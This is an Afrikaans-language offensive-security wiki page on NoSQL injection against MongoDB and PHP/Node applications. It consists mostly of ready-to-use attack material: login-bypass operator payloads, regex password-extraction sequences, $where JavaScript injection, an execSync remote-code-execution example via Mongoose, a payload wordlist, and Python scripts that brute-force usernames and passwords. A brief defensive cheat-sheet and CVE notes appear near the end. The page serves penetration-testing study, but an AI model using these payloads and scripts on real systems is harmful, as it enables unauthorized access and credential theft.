# NoSQL-inspuiting

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## Exploit

In PHP kan jy 'n Array stuur deur die gestuurde parameter van _parameter=foo_ na _parameter[arrName]=foo_ te verander.

Die exploits is gebaseer op die toevoeging van 'n **Operator**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Basiese outentisering omseiling

**Gebruik nie gelyk aan ($ne) of groter as ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
'n Aanvaller kan dit benut deur stringe soos `admin' || 'a'=='a` in te voer, wat die navraag laat terugkeer na alle dokumente deur die voorwaarde met 'n tautologie (`'a'=='a'`) te bevredig. Dit is analoog aan SQL-inspuitaanvalle waar invoere soos `' or 1=1-- -` gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word met invoere soos `' || 1==1//`, `' || 1==1%00`, of `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
```
### Trek **lengte** inligting uit
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Trek **data** inligting uit
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
```
### PHP Arbitrêre Funksie Uitvoering

Met die **$func** operator van die [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) biblioteek (wat standaard gebruik word) mag dit moontlik wees om 'n arbitrêre funksie uit te voer soos in [hierdie verslag](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)

### Kry inligting van 'n verskillende versameling

Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat met 'n wildcard ooreenstem.

**NOTE:** `$lookup` en ander aggregatiefunksies is slegs beskikbaar as die `aggregate()` funksie gebruik is om die soektog uit te voer in plaas van die meer algemene `find()` of `findOne()` funksies.
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
### Foutgebaseerde Inspuiting

Inject `throw new Error(JSON.stringify(this))` in 'n `$where` klousule om volle dokumente via bediener-kant JavaScript-foute te eksfiltreer (vereis dat die toepassing databasisfoute lek). Voorbeeld:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## Onlangse CVE's & Regte-Wêreld Exploits (2023-2025)

### Rocket.Chat ongeverifieerde blinde NoSQLi – CVE-2023-28359
Weergawes ≤ 6.0.0 het die Meteor-metode `listEmojiCustom` blootgestel wat 'n gebruiker-beheerde **selector** objek direk na `find()` gestuur het. Deur operateurs soos `{"$where":"sleep(2000)||true"}` in te voeg, kon 'n ongeverifieerde aanvaller 'n tyds-orakel bou en dokumente eksterneer. Die fout is in 6.0.1 reggestel deur die selector-vorm te valideer en gevaarlike operateurs te verwyder.

### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
Wanneer `populate()` met die `match` opsie gebruik word, het Mongoose (≤ 8.8.2) die objek woordeliks gekopieer *voor* dit na MongoDB gestuur is. Deur `$where` te verskaf, is JavaScript **binne Node.js** uitgevoer, selfs al was bediener-kant JS op MongoDB gedeaktiveer:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE
```
Die eerste patch (8.8.3) het topvlak `$where` geblokkeer, maar om dit onder `$or` te nes ondermyn die filter, wat gelei het tot CVE-2025-23061. Die probleem is volledig reggestel in 8.9.5, en 'n nuwe verbindingsopsie `sanitizeFilter: true` is bekendgestel.

### GraphQL → Mongo filter verwarring
Resolvers wat `args.filter` direk in `collection.find()` deurgee, bly kwesbaar:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }
```
Mitigations: herhalend sleutels verwyder wat met `$` begin, kaart toegelate operateurs eksplisiet, of valideer met skema biblioteke (Joi, Zod).

## Defensive Cheat-Sheet (updated 2025)

1. Verwyder of verwerp enige sleutel wat met `$` begin (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Deaktiveer bediener-kant JavaScript op self-gehoste MongoDB (`--noscripting`, standaard in v7.0+).
3. Verkies `$expr` en aggregasie bouers in plaas van `$where`.
4. Valideer datatipe vroeg (Joi/Ajv) en verbied arrays waar skalar waardes verwag word om `[$ne]` truuks te vermy.
5. Vir GraphQL, vertaal filter argumente deur 'n toelaat lys; versprei nooit onbetroubare objekte nie.

## MongoDB Payloads

List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
```python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force aanmeldgebruikersname en wagwoorde vanaf POST-aanmelding

Dit is 'n eenvoudige skrip wat jy kan aanpas, maar die vorige gereedskap kan ook hierdie taak uitvoer.
```python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)
```
## Gereedskap
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)

## Verwysings

- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)

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